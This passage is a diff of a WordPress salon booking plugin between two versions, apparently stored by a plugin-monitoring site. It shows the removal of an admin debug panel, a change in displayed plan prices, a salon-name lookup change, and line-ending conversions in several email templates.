\u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fadmin\u002Fcalendar.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fadmin\u002Fcalendar.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fadmin\u002Fcalendar.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fadmin\u002Fcalendar.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -253,31 +253,6 @@\n \n     var replaceBookingModalWithPopup = +'\u003C?php echo $replace_booking_modal_with_popup ?>';\n \u003C\u002Fscript>\n-\u003C?php \n-\u002F\u002F Show subscription debug info for admins when WP_DEBUG is enabled\n-if (defined('WP_DEBUG') && WP_DEBUG && defined('SLN_VERSION_PAY') && SLN_VERSION_PAY) {\n-    global $sln_license;\n-    if ($sln_license) {\n-        $debug_subscription_status = $sln_license->getSubscriptionStatus();\n-        $subscriptions_data = $sln_license->get('subscriptions_data');\n-        $last_check = get_transient('sln_subscription_last_check');\n-        \n-        echo '\u003Cdiv class=\"notice notice-info\" style=\"margin: 20px 0; padding: 15px; border-left: 4px solid #0073aa;\">';\n-        echo '\u003Ch3 style=\"margin-top: 0;\">🔍 Subscription Debug Info (WP_DEBUG Mode)\u003C\u002Fh3>';\n-        echo '\u003Cp>\u003Cstrong>Subscription Status:\u003C\u002Fstrong> ' . esc_html($debug_subscription_status['status'] ?? 'unknown') . '\u003C\u002Fp>';\n-        echo '\u003Cp>\u003Cstrong>Expiration:\u003C\u002Fstrong> ' . esc_html($debug_subscription_status['expiration'] ?? 'unknown') . '\u003C\u002Fp>';\n-        echo '\u003Cp>\u003Cstrong>Last API Check:\u003C\u002Fstrong> ' . ($last_check ? human_time_diff($last_check) . ' ago' : 'Never or expired') . '\u003C\u002Fp>';\n-        echo '\u003Cp>\u003Cstrong>Subscriptions Count:\u003C\u002Fstrong> ' . (isset($subscriptions_data->subscriptions) ? count($subscriptions_data->subscriptions) : 0) . '\u003C\u002Fp>';\n-        if (isset($subscriptions_data->subscriptions[0])) {\n-            $sub = $subscriptions_data->subscriptions[0];\n-            $sub_status = isset($sub->status) ? $sub->status : (isset($sub->info->status) ? $sub->info->status : 'unknown');\n-            echo '\u003Cp>\u003Cstrong>First Subscription Status:\u003C\u002Fstrong> ' . esc_html($sub_status) . '\u003C\u002Fp>';\n-        }\n-        echo '\u003Cp style=\"margin: 0;\">\u003Cem>Go to Plugins → License to refresh subscription data\u003C\u002Fem>\u003C\u002Fp>';\n-        echo '\u003C\u002Fdiv>';\n-    }\n-}\n-?>\n \u003C?php if (apply_filters('sln.show_branding', true)) : ?>\n     \u003Cdiv class=\"sln-bootstrap sln-calendar-plugin-update-notice--wrapper\">\n         \u003C?php if (!defined(\"SLN_VERSION_PAY\")): ?>\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fadmin\u002Fextensions.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fadmin\u002Fextensions.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fadmin\u002Fextensions.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fadmin\u002Fextensions.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -518,7 +518,7 @@\n                             \u003Cdiv class=\"ext-banner__plan-desc\">\u003C?php esc_html_e( 'Perfect for small salons and individual stylists', 'salon-booking-system' ); ?>\u003C\u002Fdiv>\n                         \u003C\u002Fdiv>\n                         \u003Cdiv class=\"ext-banner__plan-price\">\n-                            \u003Cdiv class=\"ext-banner__plan-amount\">$59\u003C\u002Fdiv>\n+                            \u003Cdiv class=\"ext-banner__plan-amount\">€89\u003C\u002Fdiv>\n                             \u003Cdiv class=\"ext-banner__plan-period\">\u003C?php esc_html_e( '\u002Fyear', 'salon-booking-system' ); ?>\u003C\u002Fdiv>\n                         \u003C\u002Fdiv>\n                     \u003C\u002Fdiv>\n@@ -534,7 +534,7 @@\n                             \u003Cdiv class=\"ext-banner__plan-desc\">\u003C?php esc_html_e( 'Advanced features for growing salon businesses', 'salon-booking-system' ); ?>\u003C\u002Fdiv>\n                         \u003C\u002Fdiv>\n                         \u003Cdiv class=\"ext-banner__plan-price\">\n-                            \u003Cdiv class=\"ext-banner__plan-amount\">$129\u003C\u002Fdiv>\n+                            \u003Cdiv class=\"ext-banner__plan-amount\">€169\u003C\u002Fdiv>\n                             \u003Cdiv class=\"ext-banner__plan-period\">\u003C?php esc_html_e( '\u002Fyear', 'salon-booking-system' ); ?>\u003C\u002Fdiv>\n                         \u003C\u002Fdiv>\n                     \u003C\u002Fdiv>\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fmail\u002F_customer_message_text.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fmail\u002F_customer_message_text.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fmail\u002F_customer_message_text.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fmail\u002F_customer_message_text.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -7,7 +7,7 @@\n \t    $plugin->format()->date($booking->getDate()),\n         $plugin->format()->time($booking->getTime()),\n \t    $booking->getDisplayName(),\n-\t    $plugin->getSettings()->get('gen_name') ? $plugin->getSettings()->get('gen_name') : get_bloginfo('name'),\n+\t    $plugin->getSettings()->getSalonName($booking) ?: get_bloginfo('name'),\n \t    '\u003Cbr\u002F>',\n \t    '\u003Cbr\u002F>',\n \t    '\u003Cbr\u002F>',\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fmail\u002F_feedback_content.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fmail\u002F_feedback_content.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fmail\u002F_feedback_content.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fmail\u002F_feedback_content.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,61 +1,61 @@\n-\r\n-\u003C?php   \u002F\u002F algolplus\r\n-    \u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\r\n-\t$custom_url = $plugin->getSettings()->get('custom_feedback_url');\r\n-\t$feedback_url = !empty($custom_url) ? $custom_url : home_url() . '?sln_customer_login=' . $customer->getHash() . '&feedback_id=' . $booking->getId();\r\n-?>\r\n-\r\n-\u003Ctr>\r\n-    \u003Ctd align=\"left\" valign=\"top\" style=\"font-size:18px;line-height:29px;color:#4d4d4d;font-weight:500;font-family: 'Avenir-Medium',sans-serif,arial;padding: 0 0 0 8px;\" class=\"font1\">\r\n-\t\u003C?php\r\n-\r\n-\t    $msg = $plugin->getSettings()->get('feedback_message');\r\n-\t    $msg = esc_html__( sprintf('%s', $msg) , 'salon-booking-system');\r\n-\r\n-\t    $customer_name = implode(' ', array_filter(array(\r\n-\t\tSLN_Enum_CheckoutFields::getField('firstname')->isHidden() ? '' : $booking->getFirstname(),\r\n-\t\tSLN_Enum_CheckoutFields::getField('lastname')->isHidden() ? '' : $booking->getLastname(),\r\n-\t    )));\r\n-\r\n-\t    $msg = str_replace(array('[NAME]', '[SALON NAME]', '[DATE]'), array($customer_name, $plugin->getSettings()->getSalonName(), $plugin->format()->date($booking->getDate())), $msg);\r\n-\t    $msg = nl2br($msg);\r\n-\r\n-\t    echo $msg;\r\n-\t?>\r\n-    \u003C\u002Ftd>\r\n-\u003C\u002Ftr>\r\n-\u003Ctr>\r\n-    \u003Ctd align=\"center\" valign=\"top\" height=\"22\" style=\"font-size:1px;line-height:1px;\">&nbsp;\u003C\u002Ftd>\r\n-\u003C\u002Ftr>\r\n-\u003Ctr>\r\n-    \u003Ctd align=\"left\" valign=\"top\" style=\"font-size:18px;line-height:29px;color:#4d4d4d;font-weight:500;font-family: 'Avenir-Medium',sans-serif,arial;padding: 0 0 0 8px;\" class=\"font1\">\r\n-\t \u003C?php esc_html_e('Click on this button to send us your feedback', 'salon-booking-system'); ?> \u003Cbr\u002F>\r\n-\t \u003Ca href=\"\u003C?php echo $feedback_url ?>\"style=\"\r\n-\t    text-transform: uppercase;\r\n-\t    display: inline-block;\r\n-\t    padding: 10px 20px;\r\n-\t    margin-bottom: 0;\r\n-\t    font-size: 12px;\r\n-\t    font-weight: 400;\r\n-\t    line-height: 1.42857143;\r\n-\t    text-align: center;\r\n-\t    white-space: nowrap;\r\n-\t    vertical-align: middle;\r\n-\t    -ms-touch-action: manipulation;\r\n-\t    touch-action: manipulation;\r\n-\t    cursor: pointer;\r\n-\t    -webkit-user-select: none;\r\n-\t    -moz-user-select: none;\r\n-\t    -ms-user-select: none;\r\n-\t    user-select: none;\r\n-\t    background-image: none;\r\n-\t    border: 1px solid transparent;\r\n-\t    border-radius: 3px;\r\n-\t    color: #fff;\r\n-\t    background-color: #0d569f;\r\n-\t    text-decoration: none;\">\u003C?php esc_html_e('Submit a review','salon-booking-system'); ?>\u003C\u002Fa>\r\n-    \u003C\u002Ftd>\r\n-\u003C\u002Ftr>\r\n-\u003Ctr>\r\n-    \u003Ctd align=\"center\" valign=\"top\" height=\"22\" style=\"font-size:1px;line-height:1px;\">&nbsp;\u003C\u002Ftd>\r\n+\n+\u003C?php   \u002F\u002F algolplus\n+    \u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\n+\t$custom_url = $plugin->getSettings()->get('custom_feedback_url');\n+\t$feedback_url = !empty($custom_url) ? $custom_url : home_url() . '?sln_customer_login=' . $customer->getHash() . '&feedback_id=' . $booking->getId();\n+?>\n+\n+\u003Ctr>\n+    \u003Ctd align=\"left\" valign=\"top\" style=\"font-size:18px;line-height:29px;color:#4d4d4d;font-weight:500;font-family: 'Avenir-Medium',sans-serif,arial;padding: 0 0 0 8px;\" class=\"font1\">\n+\t\u003C?php\n+\n+\t    $msg = $plugin->getSettings()->get('feedback_message');\n+\t    $msg = esc_html__( sprintf('%s', $msg) , 'salon-booking-system');\n+\n+\t    $customer_name = implode(' ', array_filter(array(\n+\t\tSLN_Enum_CheckoutFields::getField('firstname')->isHidden() ? '' : $booking->getFirstname(),\n+\t\tSLN_Enum_CheckoutFields::getField('lastname')->isHidden() ? '' : $booking->getLastname(),\n+\t    )));\n+\n+\t    $msg = str_replace(array('[NAME]', '[SALON NAME]', '[DATE]'), array($customer_name, $plugin->getSettings()->getSalonName(), $plugin->format()->date($booking->getDate())), $msg);\n+\t    $msg = nl2br($msg);\n+\n+\t    echo $msg;\n+\t?>\n+    \u003C\u002Ftd>\n+\u003C\u002Ftr>\n+\u003Ctr>\n+    \u003Ctd align=\"center\" valign=\"top\" height=\"22\" style=\"font-size:1px;line-height:1px;\">&nbsp;\u003C\u002Ftd>\n+\u003C\u002Ftr>\n+\u003Ctr>\n+    \u003Ctd align=\"left\" valign=\"top\" style=\"font-size:18px;line-height:29px;color:#4d4d4d;font-weight:500;font-family: 'Avenir-Medium',sans-serif,arial;padding: 0 0 0 8px;\" class=\"font1\">\n+\t \u003C?php esc_html_e('Click on this button to send us your feedback', 'salon-booking-system'); ?> \u003Cbr\u002F>\n+\t \u003Ca href=\"\u003C?php echo $feedback_url ?>\"style=\"\n+\t    text-transform: uppercase;\n+\t    display: inline-block;\n+\t    padding: 10px 20px;\n+\t    margin-bottom: 0;\n+\t    font-size: 12px;\n+\t    font-weight: 400;\n+\t    line-height: 1.42857143;\n+\t    text-align: center;\n+\t    white-space: nowrap;\n+\t    vertical-align: middle;\n+\t    -ms-touch-action: manipulation;\n+\t    touch-action: manipulation;\n+\t    cursor: pointer;\n+\t    -webkit-user-select: none;\n+\t    -moz-user-select: none;\n+\t    -ms-user-select: none;\n+\t    user-select: none;\n+\t    background-image: none;\n+\t    border: 1px solid transparent;\n+\t    border-radius: 3px;\n+\t    color: #fff;\n+\t    background-color: #0d569f;\n+\t    text-decoration: none;\">\u003C?php esc_html_e('Submit a review','salon-booking-system'); ?>\u003C\u002Fa>\n+    \u003C\u002Ftd>\n+\u003C\u002Ftr>\n+\u003Ctr>\n+    \u003Ctd align=\"center\" valign=\"top\" height=\"22\" style=\"font-size:1px;line-height:1px;\">&nbsp;\u003C\u002Ftd>\n \u003C\u002Ftr>\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fmail\u002Fpay_remaining_amount.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fmail\u002Fpay_remaining_amount.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fmail\u002Fpay_remaining_amount.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fmail\u002Fpay_remaining_amount.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,24 +1,24 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\r\n-\u002F**\r\n- * @var SLN_Plugin                $plugin\r\n- * @var SLN_Wrapper_Booking       $booking\r\n- *\u002F\r\n-if(!isset($data['to'])){\r\n-    $data['to'] = $booking->getEmail();\r\n-}\r\n-\r\n-$data['subject'] = __('Payment of remaining amount of booking','salon-booking-system')\r\n-    . ' ' . $plugin->format()->date($booking->getDate())\r\n-    . ' - ' . $plugin->format()->time($booking->getTime());\r\n-\r\n-$data['subject'] = apply_filters('sln.new_booking.notifications.email.subject', $data['subject'], $booking);\r\n-\r\n-$manageBookingsLink = true;\r\n-\r\n-$payRemainingAmount = true;\r\n-\r\n-$contentTemplate = '_summary_content';\r\n-\r\n-echo $plugin->loadView('mail\u002Ftemplate', compact('booking', 'plugin', 'data', 'manageBookingsLink', 'contentTemplate', 'payRemainingAmount'));\r\n-\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\n+\u002F**\n+ * @var SLN_Plugin                $plugin\n+ * @var SLN_Wrapper_Booking       $booking\n+ *\u002F\n+if(!isset($data['to'])){\n+    $data['to'] = $booking->getEmail();\n+}\n+\n+$data['subject'] = __('Payment of remaining amount of booking','salon-booking-system')\n+    . ' ' . $plugin->format()->date($booking->getDate())\n+    . ' - ' . $plugin->format()->time($booking->getTime());\n+\n+$data['subject'] = apply_filters('sln.new_booking.notifications.email.subject', $data['subject'], $booking);\n+\n+$manageBookingsLink = true;\n+\n+$payRemainingAmount = true;\n+\n+$contentTemplate = '_summary_content';\n+\n+echo $plugin->loadView('mail\u002Ftemplate', compact('booking', 'plugin', 'data', 'manageBookingsLink', 'contentTemplate', 'payRemainingAmount'));\n+\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fmail\u002Fstatus_pending_payment.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fmail\u002Fstatus_pending_payment.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fmail\u002Fstatus_pending_payment.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fmail\u002Fstatus_pending_payment.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,21 +1,21 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\r\n-\u002F**\r\n- * @var SLN_Plugin                $plugin\r\n- * @var SLN_Wrapper_Booking       $booking\r\n- *\u002F\r\n-if(!isset($data['to'])){\r\n-    $data['to'] = $booking->getEmail();\r\n-}\r\n-\r\n-$data['subject'] = __('Pending payment on booking','salon-booking-system')\r\n-    . ' ' . $plugin->format()->date($booking->getDate())\r\n-    . ' - ' . $plugin->format()->time($booking->getTime());\r\n-\r\n-$data['subject'] = apply_filters('sln.new_booking.notifications.email.subject', $data['subject'], $booking);\r\n-\r\n-$manageBookingsLink = true;\r\n-\r\n-$contentTemplate = '_summary_content';\r\n-\r\n-echo $plugin->loadView('mail\u002Ftemplate', compact('booking', 'plugin', 'data', 'manageBookingsLink', 'contentTemplate'));\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\n+\u002F**\n+ * @var SLN_Plugin                $plugin\n+ * @var SLN_Wrapper_Booking       $booking\n+ *\u002F\n+if(!isset($data['to'])){\n+    $data['to'] = $booking->getEmail();\n+}\n+\n+$data['subject'] = __('Pending payment on booking','salon-booking-system')\n+    . ' ' . $plugin->format()->date($booking->getDate())\n+    . ' - ' . $plugin->format()->time($booking->getTime());\n+\n+$data['subject'] = apply_filters('sln.new_booking.notifications.email.subject', $data['subject'], $booking);\n+\n+$manageBookingsLink = true;\n+\n+$contentTemplate = '_summary_content';\n+\n+echo $plugin->loadView('mail\u002Ftemplate', compact('booking', 'plugin', 'data', 'manageBookingsLink', 'contentTemplate'));\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fmail\u002F_summary_content.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fmail\u002F_summary_content.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fmail\u002F_summary_content.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fmail\u002F_summary_content.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,42 +1,42 @@\n-\u003C?php \u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped ?>\r\n-\u003C?php if($forAdmin): ?>\r\n-\r\n-    \u003C?php if(isset($updated) && $updated): ?>\r\n-\r\n-\t\u003C?php echo $plugin->loadView('mail\u002F_admin_update_message_text', compact('booking', 'plugin')) ?>\r\n-\r\n-    \u003C?php else: ?>\r\n-\r\n-\t\u003C?php echo $plugin->loadView('mail\u002F_admin_message_text', compact('booking')) ?>\r\n-\r\n-    \u003C?php endif; ?>\r\n-\r\n-\u003C?php else: ?>\r\n-\r\n-    \u003C?php if(isset($remind) && $remind): ?>\r\n-\r\n-\t\u003C?php echo $plugin->loadView('mail\u002F_customer_reminder_message_text', compact('booking', 'plugin')) ?>\r\n-\r\n-    \u003C?php else: ?>\r\n-\r\n-        \u003C?php if(isset($updated) && $updated): ?>\r\n-\r\n-            \u003C?php echo $plugin->loadView('mail\u002F_customer_update_message_text', compact('booking', 'plugin', 'updated_message')) ?>\r\n-\r\n-        \u003C?php else: ?>\r\n-\r\n-            \u003C?php if(isset($payRemainingAmount) && $payRemainingAmount): ?>\r\n-\r\n-                \u003C?php echo $plugin->loadView('mail\u002F_customer_pay_remaining_amount_message_text', compact('booking', 'plugin')) ?>\r\n-\r\n-            \u003C?php else: ?>\r\n-\r\n-                \u003C?php echo $plugin->loadView('mail\u002F_customer_message_text', compact('booking', 'plugin')) ?>\r\n-\r\n-            \u003C?php endif; ?>\r\n-\r\n-        \u003C?php endif; ?>\r\n-\r\n-    \u003C?php endif; ?>\r\n-\r\n+\u003C?php \u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped ?>\n+\u003C?php if($forAdmin): ?>\n+\n+    \u003C?php if(isset($updated) && $updated): ?>\n+\n+\t\u003C?php echo $plugin->loadView('mail\u002F_admin_update_message_text', compact('booking', 'plugin')) ?>\n+\n+    \u003C?php else: ?>\n+\n+\t\u003C?php echo $plugin->loadView('mail\u002F_admin_message_text', compact('booking')) ?>\n+\n+    \u003C?php endif; ?>\n+\n+\u003C?php else: ?>\n+\n+    \u003C?php if(isset($remind) && $remind): ?>\n+\n+\t\u003C?php echo $plugin->loadView('mail\u002F_customer_reminder_message_text', compact('booking', 'plugin')) ?>\n+\n+    \u003C?php else: ?>\n+\n+        \u003C?php if(isset($updated) && $updated): ?>\n+\n+            \u003C?php echo $plugin->loadView('mail\u002F_customer_update_message_text', compact('booking', 'plugin', 'updated_message')) ?>\n+\n+        \u003C?php else: ?>\n+\n+            \u003C?php if(isset($payRemainingAmount) && $payRemainingAmount): ?>\n+\n+                \u003C?php echo $plugin->loadView('mail\u002F_customer_pay_remaining_amount_message_text', compact('booking', 'plugin')) ?>\n+\n+            \u003C?php else: ?>\n+\n+                \u003C?php echo $plugin->loadView('mail\u002F_customer_message_text', compact('booking', 'plugin')) ?>\n+\n+            \u003C?php endif; ?>\n+\n+        \u003C?php endif; ?>\n+\n+    \u003C?php endif; ?>\n+\n \u003C?php endif; ?>\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fmail\u002Fsummary.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fmail\u002Fsummary.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fmail\u002Fsummary.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fmail\u002Fsummary.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,75 +1,75 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\r\n-\u002F**\r\n- * @var SLN_Plugin          $plugin\r\n- * @var SLN_Wrapper_Booking $booking\r\n- *\u002F\r\n-if(empty($data['to'])){\r\n-    $data['to']      = $booking->getEmail();\r\n-}\r\n-$bookingDateTime = $plugin->getSettings()->isDisplaySlotsCustomerTimezone() && $booking->getCustomerTimezone() ? (new SLN_DateTime($booking->getDate()->format('Y-m-d') . ' ' . $booking->getTime()->format('H:i')))->setTimezone(new DateTimeZone($booking->getCustomerTimezone())) : new SLN_DateTime($booking->getDate()->format('Y-m-d') . ' ' . $booking->getTime()->format('H:i'));\r\n-\r\n-if(isset($remind) && $remind) {\r\n-    $data['subject'] = str_replace(\r\n-        array(\r\n-            '[DATE]',\r\n-            '[TIME]',\r\n-            '[SALON NAME]'\r\n-        ),\r\n-        array(\r\n-            $plugin->format()->date($bookingDateTime),\r\n-            $plugin->format()->time($bookingDateTime),\r\n-            $plugin->getSettings()->get('gen_name') ?\r\n-                $plugin->getSettings()->get('gen_name') : get_bloginfo('name')\r\n-        ),\r\n-        $plugin->getSettings()->get('email_subject')\r\n-    );\r\n-    $manageBookingsLink = true;\r\n-} elseif(isset($updated) && $updated) {\r\n-    $data['subject'] = str_replace(\r\n-        '[SALON NAME]',\r\n-        $plugin->getSettings()->get('gen_name') ?\r\n-            $plugin->getSettings()->get('gen_name') : get_bloginfo('name'),\r\n-        __('Your reservation at [SALON NAME] has been modified', 'salon-booking-system')\r\n-    );\r\n-    $manageBookingsLink = true;\r\n-} elseif(isset($rescheduled) && $rescheduled) {\r\n-    $current_user = wp_get_current_user();\r\n-    $data['subject'] = sprintf(\r\n-        \u002F\u002F translators: %1$s will be replaced by the booking ID, %2$s will be replaced by the username\r\n-        __('Booking #%1$s has been re-scheduled by %2$s', 'salon-booking-system'),\r\n-        $booking->getId(),\r\n-        implode(' ', array_filter(array($current_user->user_firstname, $current_user->user_lastname)))\r\n-    );\r\n-    $manageBookingsLink = true;\r\n-} else {\r\n-    $data['subject'] = str_replace(\r\n-        array(\r\n-            '[DATE]',\r\n-            '[TIME]',\r\n-            '[SALON NAME]'\r\n-        ),\r\n-        array(\r\n-            $plugin->format()->date($bookingDateTime),\r\n-            $plugin->format()->time($bookingDateTime),\r\n-            $plugin->getSettings()->get('gen_name') ?\r\n-                $plugin->getSettings()->get('gen_name') : get_bloginfo('name')\r\n-        ),\r\n-        $plugin->getSettings()->get('email_nb_subject')\r\n-    );\r\n-\r\n-    $data['subject'] = apply_filters('sln.new_booking.notifications.email.subject', $data['subject'], $booking);\r\n-\r\n-    $manageBookingsLink = true;\r\n-}\r\n-$forAdmin = false;\r\n-\r\n-$contentTemplate = '_summary_content';\r\n-\r\n-if(!isset($remind)){\r\n-    $remind = false;\r\n-}\r\n-$rescheduled = empty($rescheduled) ? false : $rescheduled;\r\n-$forAdmin = empty($forAdmin) ? null : $forAdmin;\r\n-$updated = empty($updated) ? false : $updated;\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\n+\u002F**\n+ * @var SLN_Plugin          $plugin\n+ * @var SLN_Wrapper_Booking $booking\n+ *\u002F\n+if(empty($data['to'])){\n+    $data['to']      = $booking->getEmail();\n+}\n+$bookingDateTime = $plugin->getSettings()->isDisplaySlotsCustomerTimezone() && $booking->getCustomerTimezone() ? (new SLN_DateTime($booking->getDate()->format('Y-m-d') . ' ' . $booking->getTime()->format('H:i')))->setTimezone(new DateTimeZone($booking->getCustomerTimezone())) : new SLN_DateTime($booking->getDate()->format('Y-m-d') . ' ' . $booking->getTime()->format('H:i'));\n+\n+if(isset($remind) && $remind) {\n+    $data['subject'] = str_replace(\n+        array(\n+            '[DATE]',\n+            '[TIME]',\n+            '[SALON NAME]'\n+        ),\n+        array(\n+            $plugin->format()->date($bookingDateTime),\n+            $plugin->format()->time($bookingDateTime),\n+            $plugin->getSettings()->get('gen_name') ?\n+                $plugin->getSettings()->get('gen_name') : get_bloginfo('name')\n+        ),\n+        $plugin->getSettings()->get('email_subject')\n+    );\n+    $manageBookingsLink = true;\n+} elseif(isset($updated) && $updated) {\n+    $data['subject'] = str_replace(\n+        '[SALON NAME]',\n+        $plugin->getSettings()->get('gen_name') ?\n+            $plugin->getSettings()->get('gen_name') : get_bloginfo('name'),\n+        __('Your reservation at [SALON NAME] has been modified', 'salon-booking-system')\n+    );\n+    $manageBookingsLink = true;\n+} elseif(isset($rescheduled) && $rescheduled) {\n+    $current_user = wp_get_current_user();\n+    $data['subject'] = sprintf(\n+        \u002F\u002F translators: %1$s will be replaced by the booking ID, %2$s will be replaced by the username\n+        __('Booking #%1$s has been re-scheduled by %2$s', 'salon-booking-system'),\n+        $booking->getId(),\n+        implode(' ', array_filter(array($current_user->user_firstname, $current_user->user_lastname)))\n+    );\n+    $manageBookingsLink = true;\n+} else {\n+    $data['subject'] = str_replace(\n+        array(\n+            '[DATE]',\n+            '[TIME]',\n+            '[SALON NAME]'\n+        ),\n+        array(\n+            $plugin->format()->date($bookingDateTime),\n+            $plugin->format()->time($bookingDateTime),\n+            $plugin->getSettings()->get('gen_name') ?\n+                $plugin->getSettings()->get('gen_name') : get_bloginfo('name')\n+        ),\n+        $plugin->getSettings()->get('email_nb_subject')\n+    );\n+\n+    $data['subject'] = apply_filters('sln.new_booking.notifications.email.subject', $data['subject'], $booking);\n+\n+    $manageBookingsLink = true;\n+}\n+$forAdmin = false;\n+\n+$contentTemplate = '_summary_content';\n+\n+if(!isset($remind)){\n+    $remind = 